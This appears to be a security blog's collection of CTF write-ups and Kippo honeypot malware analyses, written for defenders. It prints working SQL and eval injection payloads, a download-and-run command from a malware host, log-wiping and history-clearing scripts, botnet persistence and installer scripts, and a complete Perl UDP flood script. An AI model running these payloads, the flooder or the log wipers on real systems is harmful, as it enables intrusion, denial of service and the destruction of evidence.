Skip navigation

Title: surtA
Points: 350
Description: An ancient language discovered roughly 20 years ago.

surta-97b6beb1e3c9a63a089f42ce9f278ae8e82d2b42

I figured they either wanted the name of the language or the translation. Googling ‘surtA’ did not appear to bring up anything relevant, but ‘Atrus’ brings up the 1993 (20 years old) videogame Myst. The story of Myst contains the story of the ancient race known as the D’ni, and many enthusiasts have documented the language and grammar of the D’ni on the internet.

Using a D’ni alphabet/number guide I managed to convert the symbols into the following:

rehd’ni kehnehrthoglahn 2 3 12 rovtee.

reh- is a prefix, translating to ‘the’.
d’ni = D’ni
kehn- = to be
ehrth- = some/a few
oglahn = ancient
2 3 12 = 1337 (the D’ni used a base 25 number system)
rov = people
-tee = plural

The full translation (and answer) ended up as:

the d’ni are an ancient 1337 people

After successfully brute forcing their way into kippo, the attacker downloaded a collection of bruteforce/portscan tools, untarred them, and kicked the whole thing off.

dev:~# wget qiss.ucoz.com/go.jpg;tar xzvf go.jpg;rm -rf go.jpg;cd go;./go 61

The malware itself seemed mostly unmodified from the last time it was reported on, but the address it phones home to was different, so I thought I’d post this so anyone dealing with the same sample has a record of movements.

    Files:

1, 2, 3, 4, 5, 6, common
– these are just lists of usernames/passwords

a
– aab6510d149ddfbdf3598c4b94c4b7b3
– executes ‘pscan2’
– copies each password list into ‘mfu.txt’, and then launches ‘ssh-scan 100’

ssh-scan
– a213ebd69fbc11d612d0374b373f65d8

gen-pass.sh
– 615c08bb1acdf2f21490450991766187
– takes a list of users and passwords, dumps all user:pass permutations into ‘pass_file’

pass-file
– the user:pass permutations from ‘gen-pass.sh’

screen
– cbf0f41bbbafb1c2609bedb943be3b36

go
– 92c4c68480e699aa012b26c82a787248
– sorts ‘bios.txt’ into a unique list, saves in ‘mfu.txt’, launches ‘./ssh-scan 300’

pscan2
– acba0143d0cbcf8092b8b44d914d7983
– given a block and a port, answers with responding ips in that block

secure
– 39acbfc1e983e45308cdab2d3ec4bf34
– a bash script that checks if you are root. If you are, it renames ‘/usr/bin/mail’. This is presumably to mess with any IDS on the system.

ss
– b51a52c9c82bb4401659b4c17c60f89f
– responsible for the content in ‘bios.txt’

vuln.txt
– contains the results from ‘a’

scam
– gathers system information, saves it to ‘info2’, mails it to mafia89tm@yahoo.com
– given the first 3 quarters of an IP address, executes ‘a’ on each of the 255 addresses within that space
– periodically, the results are mailed home to amadeoantiq@yahoo.com
– the author has also never heard of a for loop, as there are 255 lines of this:

./a $1.11
./a $1.12
./a $1.13
./a $1.14
./a $1.15
./a $1.16
./a $1.17
./a $1.18
./a $1.19
./a $1.20

    Wall of Shame:

Attack Source: 79.117.232.182
Malware Host: qiss.ucoz.com/go.jpg
Malware Type: portscan / bruteforce
Phones Home: mafia89tm@yahoo.com / amadeoantiq@yahoo.com

This challenge required the extraction of the key from the database, using a regex as a search. Knowing from IRC that all keys contained either 29C3 or 29c3, it was relatively simple to narrow down the potential keys to the correct one:

/^Key: 29C3_Well\.This\/Is\#Not\+The\|Wrong\?Key$/

The final correct regex is slightly misleading, in that it says it matches 2 records, but we strip out the extra bits, and submit it for 100 points:

29C3_Well.This/Is#Not+The|Wrong?Key

This was a fun one. The challenge site provided a file upload control, which allowed us to upload images to the site. Upon uploading an image, the image would be displayed under a new file name, along with the associated Image Description, GPS Longitude and GPS Latitude tags.

My first thought was to insert some PHP into the exif data, so I downloaded the very useful ExifTool to attempt this.

This attempt failed, so I pulled out the next trick in the bag. I threw an apostrophe into the Image Description tag and uploaded the file. Internal Server Error! SQL injection? I think so!

With some tinkering, I managed to successfully exploit the SQLi to get the flag.

Web300-1

Web300-2

This was an odd one. We were given a binary, and two hints: “limbo” and “inferno”. After a quick google, we find out that “limbo” is a programming language intended to be run on the “inferno” operating system. Inferno can either be run as a stand-alone OS, usually on embedded systems, or as an application within a parent OS. I elected the latter, and before long had a working install of Inferno.

The binary still would not execute though. Some more googling lead me to understand that the usual extension for compiled limbo applications is “.dis”. After adding that extension to the binary, we can finally execute it, and get the output:

98f6bcd 4621d373 -3521b17d 2627b4f6

This is… almost an md5 hash! The first quarter is only 7 characters, so we pad it with a 0 to get the full 32.

098f6bcd 4621d373 -3521b17d 2627b4f6

Something is odd about the third, but by googling the first, we quickly discover that it is the beginning of the md5 of the word ‘test’. However, the third quadrant is wrong, so we swap it out for the real one.

98f6bcd 4621d373 +cade4e83 2627b4f6

98f6bcd4621d373cade4e832627b4f6

Which is the md5 of ‘test’ and the correct flag for the challenge.

We were presented with a simple site. It was the admin control panel for the oppressive South Park PD. It allowed the cruel police of South Park to select a citizen, and one of three horrible actions. To teach them a lesson, we were to extract the flag from /etc/passwd.

Submitting the form submitted three parameters:
actions
choice
human

We were given the sources, but I didn’t look too hard at them. Chucking rubbish into the variables, we’re very quickly able to get a python stack trace. With some more tinkering, we can find that whatever is included in “human” is passed to “actions” as an argument. The output of actions has to be a string, or the program fails.

The query I used to get the flag was:

&actions=eval&choice=%00&human=str(file(“/etc/passwd”).read())

I never figured out what choice did, but changing it from a null byte seemed to break things, so I just left it.

The response:

HTTP/1.1 200 OK
Date: Sat, 15 Dec 2012 16:07:58 GMT
Content-Length: 1485
Content-Type: text/html
Server: TwistedWeb/12.1.0

# $FreeBSD: src/etc/master.passwd,v 1.42.2.1.2.2 2012/11/17 08:36:10 svnexp Exp $
#
root:*:0:0:Charlie & flag -> d9301a72ee12eabb2b913398a3fab50b:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
phdays:*:1001:1001:User &:/home/phdays:/bin/sh

The task was to retrieve the flag from a website. The website was built on an open source framework, and so included a link to the source, hosted on GitHub. There wasn’t much to it, apart from the comments sections of news articles, and so it was pretty easy to find some vulnerable code:

$sql = "INSERT INTO `comments` SET `news_id` = " . (int)$id .
",`username` = " . $this->db->quote($data['username']). 
",`text` = " . $this->db->quote($data['text']). 
",`date_posted` = NOW(), `ip` = INET_ATON('" . $data['ip'] . "')";  

Sweet. Looks like if we can get our payload into $data[‘ip’] we can inject into the query. Luckily, elsewhere in the code, we’re shown that if HTTP_X_FORWARDED_FOR is set, that is the IP address that is used. I made a test comment, and sent the request on over to Burp Repeater.

We can inject by changing the X-Forwarded-For header.

We can start by using error based injection to find the right table and column. This is the query we get that allows the comment to be posted, rather than spitting out a table/column not found error:

X-Forwarded-For: 127.0.0.1′)+(SELECT flag from flags’);–

From here on out, we’re going blind. We have to build the flag, letter by letter, going through 0-9a-f until the query fails, and then go back one letter. By this repeated process, we can build the entire 32 character flag:

X-Forwarded-For: 127.0.0.1′)+(SELECT flag from flags WHERE flag > ’94bd6136818878b5dd97d3a231a97649′);–

There are a number of reasons that a hacker/skid might want control of a machine. Compromised hosts serve as an ideal place to launch attacks from, as when properly configured by an attacker (and hopefully not noticed by careless administrators), the bad guy can use this machine for a long time, for file storage, or as a place to launch further malicious attacks.

In a recent attack, I witnessed an attacker dropping multiple files on my machine, both forms of IRC bot software. One of them was a seemingly well known perl script created by Brazilian group, Atrix-Team. Since it’s written in perl rather than one of the standard compiled languages, it’s much easier to others to customise and spread. The second was a .tar full of c source code, a few binaries, and some bash scripts. Nice!

Let’s take a look:

$ ls -l
-rwxrwxr-x 1 ubuntu ubuntu    317 Oct 30  2006 autorun
-rwxrwxr-x 1 ubuntu ubuntu  12210 Aug  4 00:26 b
-rwxrwxr-x 1 ubuntu ubuntu    485 Aug  5 12:07 clear.sh
-rwxrwxr-x 1 ubuntu ubuntu   7768 Aug 26 17:38 inst
-rwxrwxr-x 1 ubuntu ubuntu 397274 Dec  2  2005 kswapd1
-rwxrwxr-x 1 ubuntu ubuntu     34 Aug  5 11:14 run
drwxrwxr-x 2 ubuntu ubuntu   4096 Aug  5 11:55 src
-rwxrwxr-x 1 ubuntu ubuntu    327 Aug  4 12:34 start
-rwxrwxr-x 1 ubuntu ubuntu    169 Aug  5 12:47 update

Fun stuff! I count 8 executable files, and 1 directory. To pick it apart piece by piece:

autorun
$ file autorun
autorun: POSIX shell script, ASCII text executable

#!/bin/sh
pwd > mech.dir
dir=$(cat mech.dir)
echo "* * * * * $dir/update >/dev/null 2>&1" > cron.d
crontab cron.d
crontab -l | grep update
echo "#!/bin/sh
if test -r $dir/m.pid; then
pid=\$(cat $dir/m.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./run &>/dev/null" > update
chmod u+x update

This is an interesting script. It appears to add an entry to the cron tab to run update in the current directory. It then creates the update script, and sets it to executable by the current user.

update
$ file update
update: POSIX shell script, ASCII text executable

#!/bin/sh
if test -r /var/spool/.m/m.pid; then
pid=$(cat /var/spool/.m/m.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd /var/spool/.m
./run &>/dev/null

This is the script created by autorun, and configured to trigger automatically via crontab. It checks that .m/.m.pid is readable, and if so, reads the PID from the file, and attempts to kill that process. It exists with value 0 if it succeeds, swaps to the directory where the malicious files are being stored, and executes run.

run
$ file run
run: POSIX shell script, ASCII text executable

#!/bin/sh
export PATH=".";kswapd1

Short but sweet. Exports the current directory to the path, and then executes kswapd1.

Sadly, we’re out of bash script land, now. We’re onto the meat of the matter, the binary itself:

kswapd1
$ file kswapd1
kswapd1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.2.5, not stripped
$ checksums
79217fb606e9b14c3a8d6c399bc74492 md5

First off, the name. kswapd1 is an apparent attempt to survive casual inspection of the process list by mimicking kswapd, the kernel swap daemon responsible for memory management on the system.

We can run the ‘strings’ command on the executable to hopefully get an idea about what we’re getting in to. Inside, we can see a lot of references to IRC commands, and the distinctive word, EnergyMech. EnergyMech is a free/open source IRC bot programmed in c. The feature list is respectable, and seems like a useful feature set for any aspiring botnet owner. This coincides with the contents of the src/ folder we found in the initial .tar file. Also, there are a number of referenced files, presumably generated after the IRC bot is running:

.genuser
./m.
./m.set
./m.ses
./m.help
./m.lev
./m.msg
./m.pid
./r/rquit.e
./r/raway.e
./r/rkicks.e
./r/rversions.e
./r/rpickup.e
./r/rinsult.e
./r/rtsay.e

This is supported by the reappearence of m.pid, which is apparently saved and used to shut down the bot. Since EnergyMech’s feature set is well documented on the site, and the attacker was unsuccessful in configuring it, I won’t waste time further inspecting the binary for now.

clear.sh
$ file clear.sh
clear.sh: Bourne-Again shell script, ASCII text executable, with CRLF line terminators

#!/bin/bash
unset HISTFILE HISTZONE HISTSAVE HISTORY
history -r
history -c
unset WATCH
export HISTFILE=/dev/null
rm -rf /usr/adm/lastlog
rm -rf /var/log/secure*
rm -rf /var/log/lastlog*
rm -rf /var/log/messages*
rm -rf /var/log/auth*
rm -rf /var/log/maillog*
rm -fr /var/log/lfd.log*
touch /var/log/maillog
touch /var/log/lfd.log
touch /var/log/messages
touch /var/log/secure
touch /var/log/lastlog
rm -rf /root/.bash_history
touch /root/.bash_history
./b -u root

A simple bash script to clear all logs, then recreate the files. It then runs b -u root.

b
$ file b
b: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.9, not stripped

A quick look at the ‘strings’ output yields several references to log cleaning. Using the poor man’s debugger (google) we identify one of the distinctive strings, ‘didn’t found any parametr to clean (username, hostname, tty)!’ as belonging to WhiteCat, a binary/log cleaner written in c by a member of the Hell Knights Crew.

There are two extra files that don’t seem to have been called so far by the others, inst and start. For the sake of completeness, I will give a breakdown of each.

start
$ file start
start: Bourne-Again shell script, ASCII text executable

#!/bin/bash
/sbin/ifconfig | grep -v "inet6" |grep "inet" | tr ':' ' '| awk '{ print $3 }' | grep -v "127.0.0.1" > vhosts
nrs=`cat vhosts | grep -c .`
######variabile######
D=1
B=./vhosts
sleep 1
while read line; do
   ./inst $1 $line
case "$D" in
"1")
D=2
;;
"2")
D=3
;;
"3")
D=4
;;
"4")
D=1
;;
esac
 done < $B
./run
./autorun

The first string of greps retrieves the IP address(es) of the host, and saves them into the file ‘vhosts’. That file is then read line by line, with each IP being passed to inst along with another parameter, the channel. Finally, run and autorun are both called.

inst
$ file inst
inst: Bourne-Again shell script, ISO-8859 text executable

#!/bin/bash
Denominations="gaina
martoaga
martianu
sambatar
....snip....
costel
daniela
lucica
lucia"

ident=($Idents)
num_idents=${#ident[*]}

Realnames="Sato
Suzuki
Takahashi
Tanaka
Watanabe
....snip....
Demers
Gosselin"

denomination=($Denominations)
num_denominations=${#denomination[*]}

echo "SERVER Tampa.FL.US.Undernet.org 6667" >> m.set
echo "SERVER budapest.hu.eu.undernet 6667" >> m.set
echo "SERVER zurich.ch.eu.undernet.org" >> m.set
echo "SERVER lidingo.se.eu.undernet.org 6667" >> m.set
echo "SERVER manchester.uk.eu.undernet.org 6667" >> m.set
echo "SERVER mesa.az.us.undernet.org 6667" >> m.set
echo "SERVER bucharest.ro.eu.undernet.org 6667" >> m.set

echo "ENTITY $2" >> m.set

echo "### BOT 1 ###" >> m.set
echo "NICK ${denomination[$((RANDOM%num_denominations))]}" >> m.set
echo "USERFILE $2.user" >> m.set
echo "CMDCHAR ." >> m.set
echo "LOGIN ${denomination[$((RANDOM%num_denominations))]}" >> m.set
echo "IRCNAME ${denomination[$((RANDOM%num_denominations))]}" >> m.set
echo "MODES +iwsx" >> m.set
echo "HASONOTICE" >> m.set
echo "VIRTUAL $2" >> m.set
echo "TOG CC          1" >> m.set
echo "TOG CLOAK       1" >> m.set
echo "TOG SPY         1" >> m.set
echo "SET OPMODES     6" >> m.set
echo "SET BANMODES    6" >> m.set
echo "CHANNEL         #$1 " >> m.set
echo "TOG PUB         1" >> m.set
echo "TOG MASS        1" >> m.set
echo "TOG SHIT        1" >> m.set
echo "TOG PROT        1" >> m.set
echo "TOG ENFM        0" >> m.set
echo "SET MKL         7" >> m.set
echo "SET MBL         7" >> m.set
echo "SET MPL         1" >> m.set

echo "### BOT 2 ###" >> m.set
echo "NICK ${denomination[$((RANDOM%num_denominations))]}" >> m.set
echo "USERFILE $2.user2" >> m.set
echo "CMDCHAR ." >> m.set
echo "LOGIN ${denomination[$((RANDOM%num_denominations))]}" >> m.set
echo "IRCNAME ${denomination[$((RANDOM%num_denominations))]}" >> m.set
echo "MODES +iwsx" >> m.set
echo "HASONOTICE" >> m.set
echo "VIRTUAL $2 " >> m.set
echo "TOG CC          1" >> m.set
echo "TOG CLOAK       1" >> m.set
echo "TOG SPY         1" >> m.set
echo "SET OPMODES     6" >> m.set
echo "SET BANMODES    6" >> m.set
echo "CHANNEL         #$1 " >> m.set
echo "TOG PUB         1" >> m.set
echo "TOG MASS        1" >> m.set
echo "TOG SHIT        1" >> m.set
echo "TOG PROT        1" >> m.set
echo "TOG ENFM        0" >> m.set
echo "SET MKL         7" >> m.set
echo "SET MBL         7" >> m.set
echo "SET MPL         1" >> m.set

echo "handle  z " >> $2.user
echo "mask  *!*@zmeu.users.undernet.org " >> $2.user

echo "prot  4" >> $2.user
echo "channel   * " >> $2.user
echo "access  100 " >> $2.user

echo "handle  z " >> $2.user2
echo "mask  *!*@zmeu.users.undernet.org " >> $2.user2
echo "prot  4" >> $2.user2
echo "channel   * " >> $2.user2
echo "access  100 " >> $2.user2

This file appears to be generating the configuration for the EnergyMech bots, as well as individual user files. It takes two inputs, $1 and $2, from ./start. $1 is the channel to join, and #2 appears to be the IP address of the user. A random nick is selected from the list in the script, which seemed to be a mix of actual names, and random words.

Fortunately, from the kippo log, the attacker kindly showed us exactly what channel he was trying to use. Unfortunately, if it’s hosted on a public server, it’s going to be very resilient. I hopped onto a VPN, and into the IRC to have a look around. There were 21 users, including 2 operators, 1 of whom was an undernet service. The other had a cloaked hostname. Of the rest, 4 had undernet cloaked hostnames, and the remainder did not. A small botnet, if my suspicions are correct, and unlikely to grow fast if the operators are manually installing the bots on compromised hosts.

Thanks for stopping by, @DINAMO of #raul, connecting to the honeypot from 87.219.142.165 on Oct 26th. It’s always fun to have ‘live ammunition’ to play with.

Bonus Round

The perl script was downloaded from hxxp://dearlifefuckyou.com/xaoc/max.txt, and the homepage of dearlifefuckyou.com is blanked out except for an advert and the text “// xaoc was here”. The config of the perl script was as follows:

my $section=chr(120) . chr(46) . chr(115) . chr(105) . chr(116) . chr(104) . chr(110) . chr(101) . chr(116) . chr(46) . chr(111) . chr(114) . chr(103);
my $porta=chr(49) . chr(49) . chr(50) . chr(49) . chr(49);
my @interval=chr(35) . chr(46) . chr(106);
my @location=chr(120) . chr(88) . chr(120);
my $mapp=chr(115) . chr(117) . chr(110);
push(@location,$mapp);

While this is top end obfuscation, I think we can crack it.

my $section=x.sithnet.org;
my $porta=11211;
my @interval=#.j;
my @location=xXx;
my $mapp=sun;
push(@location,$mapp);

While it is not currently up, sithnet.org resolves to 212.199.115.203, which has also gone by terahost.tv and has a history of bad behaviour.

Short but sweet.

dev:~# w
 09:27:26 up 29 days, 19:48,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    79.147.238.131    09:27    0.00s  0.00s  0.00s w
dev:~# unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG
dev:~# export HISTFILE=/dev/null
dev:~# export HISTSIZE=0
dev:~# w
 09:27:58 up 29 days, 19:49,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    79.147.238.131    09:27    0.00s  0.00s  0.00s w
dev:~# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:4c:a8:ab:32:f4
          inet addr:10.98.55.4  Bcast:10.98.55.255  Mask:255.255.255.0
          inet6 addr: fe80::21f:c6ac:fd44:24d7/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:84045991 errors:0 dropped:0 overruns:0 frame:0
          TX packets:103776307 errors:0 dropped:0 overruns:0 carrier:2
          collisions:0 txqueuelen:1000
          RX bytes:50588302699 (47.1 GiB)  TX bytes:97318807157 (90.6 GiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:308297 errors:0 dropped:0 overruns:0 frame:0
          TX packets:308297 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:355278106 (338.8 MiB)  TX bytes:355278106 (338.8 MiB)
dev:~# wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN
-US/W2Ksp3.exe
--2012-10-25 09:30:05--  http://download.microsoft.com/download/win2000platform/
SP/SP3/NT5/EN-US/W2Ksp3.exe
Connecting to download.microsoft.com:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 130978672 (124M) [application/octet-stream]
Saving to: `W2Ksp3.exe

 0% [>                                      ] 1,098        0K/s  eta 1d 21h 7m 1
 0% [>                                      ] 22,818       11K/s  eta 3h 11m 15s
 0% [>                                      ] 182,850      69K/s  eta 31m 27s
 2% [>                                      ] 3,149,716    363K/s  eta 5m 52s^C
200 OK
dev:~# rm -rf .bash_history
dev:~# touch .bash_history
dev:~#

Seems a little odd that our friend 79.147.238.131 (which appears to be a residential (but dynamically assigned…) IP) would go through so much effort just to disconnect the session, but oh well.

I set up a Kippo honeypot a few weeks ago on a micro Amazon instance and left it running, eventually letting it slip my mind. Today, I remembered to check it out, and what do you know, I got some results.

Unfortunately for our intruder, Kippo wasn’t particularly cooperative. Here’s the log:

dev:~# w
15:34:22 up 13 days, 1:55, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/0 5.13.84.3 15:34 0.00s 0.00s 0.00s w
dev:~# cat /proc/cpuinfo
[--- snip ---]
dev:~# wget http://cachefly.cachefly.net/100mb.test
--2012-10-08 15:35:37-- http://cachefly.cachefly.net/100mb.test
Connecting to cachefly.cachefly.net:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 104857600 (100M) [application/octet-stream]
Saving to: `100mb.test

100%[======================================>] 104,857,600 10113K/s

2012-10-08 15:35:48 (10113 KB/s) - `100mb.test' saved [104857600/104857600]
dev:~# wget http://root-arhive.clan.su/flood/global/udp.tgz
--2012-10-08 15:36:00-- http://root-arhive.clan.su/flood/global/udp.tgz
Connecting to root-arhive.clan.su:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 529 (529bytes) [application/octet-stream]
Saving to: `udp.tgz

100%[======================================>] 529 0K/s

2012-10-08 15:36:01 (0 KB/s) - `udp.tgz' saved [529/529]
dev:~# tar xzvf udp.tgx
tar: udp.tgx: Cannot open: No such file or directory
tar: Error is not recoverable: exiting now
tar: Child returned status 2
tar: Error exit delayed from previous errors
dev:~# tar xzvf udp.tgz
udp.pl
dev:~# chmod +x *
dev:~# perl udp.pl 12
bash: perl: command not found
dev:~# apt-get install perl
Reading package lists... Done
[--- snip ---]
Setting up perl (1.31-2) ...
dev:~# perl udp.pl 12
perl: Segmentation fault
dev:~# apt-get install kernel*
Reading package lists... Done
[--- snip ---]
Setting up kernel (1.4-6) ...
dev:~# apt-get install linux*
Reading package lists... Done
[--- snip ---]
Setting up linux (1.12-8) ...
dev:~# perl udp.pl 12
perl: Segmentation fault
dev:~#

This looks like a fairly typical attack. In short:

  • The hacker has connected from 5.13.84.3. The hacker runs w to see who else is around.
  • The hacker dumps the contents of /proc/cpuinfo to see what kind of machine they’re working with.
  • The hacker downloads http://cachefly.cachefly.net/100mb.test, presumably to check the speed of the connection.
  • The hacker downloads hxxp://root-arhive.clan.su/flood/global/udp.tgz. Looks like they want to use this machine to DoS, but I’ll take a closer look at that file in good time.
  • After this, we can see the hacker’s frustrated attempts to actually RUN their file. Naturally, Kippo is pretty uncooperative, so they soon get fed up and leave.

Now we can take a look at udp.pl. How exciting. The script itself is pretty obvious stuff, so I’ll go ahead and post it. Comments are mine:

#!/usr/bin/perl

use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {
 printf "$0 <ip> <port> <time>\n";
 printf "for any info vizit #GlobaL \n";
 exit(1);
}

# Takes three arguments: Target, port, and how long to flood for.
my ($ip,$port,$size,$time);
 $ip=$ARGV[0];
 $port=$ARGV[1]; 
 $time=$ARGV[2];

# Prepares a socket connection. The last parameter is for the protocol, so I'm assuming 17 corresponds to UDP.
socket(crazy, PF_INET, SOCK_DGRAM, 17);
    $iaddr = inet_aton("$ip");

printf "Flooding.. $ip port.. $port \n";

# If you haven't declared the port or duration...
if ($ARGV[1] ==0 && $ARGV[2] ==0) {
 goto randpackets;
}
# If you HAVE declared the port and duration
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &");
 goto packets;
}
# If you have declared the port, but not the duration
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
 goto packets;
}
# If you've declared the duration, but not the port
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &"); 
 goto randpackets;
}

# Flood the given port
packets:
for (;;) {
 $size=$rand x $rand x $rand;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
} 

# Flood a random port
randpackets:
for (;;) {
 $size=$rand x $rand x $rand;
 $port=int(rand 65000) +1;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

If you’re going to allow ssh access to your server, remember to secure it. Even if you don’t have any data worth stealing, it’s easy for people to turn your machine against others.

Follow

Get every new post delivered to your Inbox.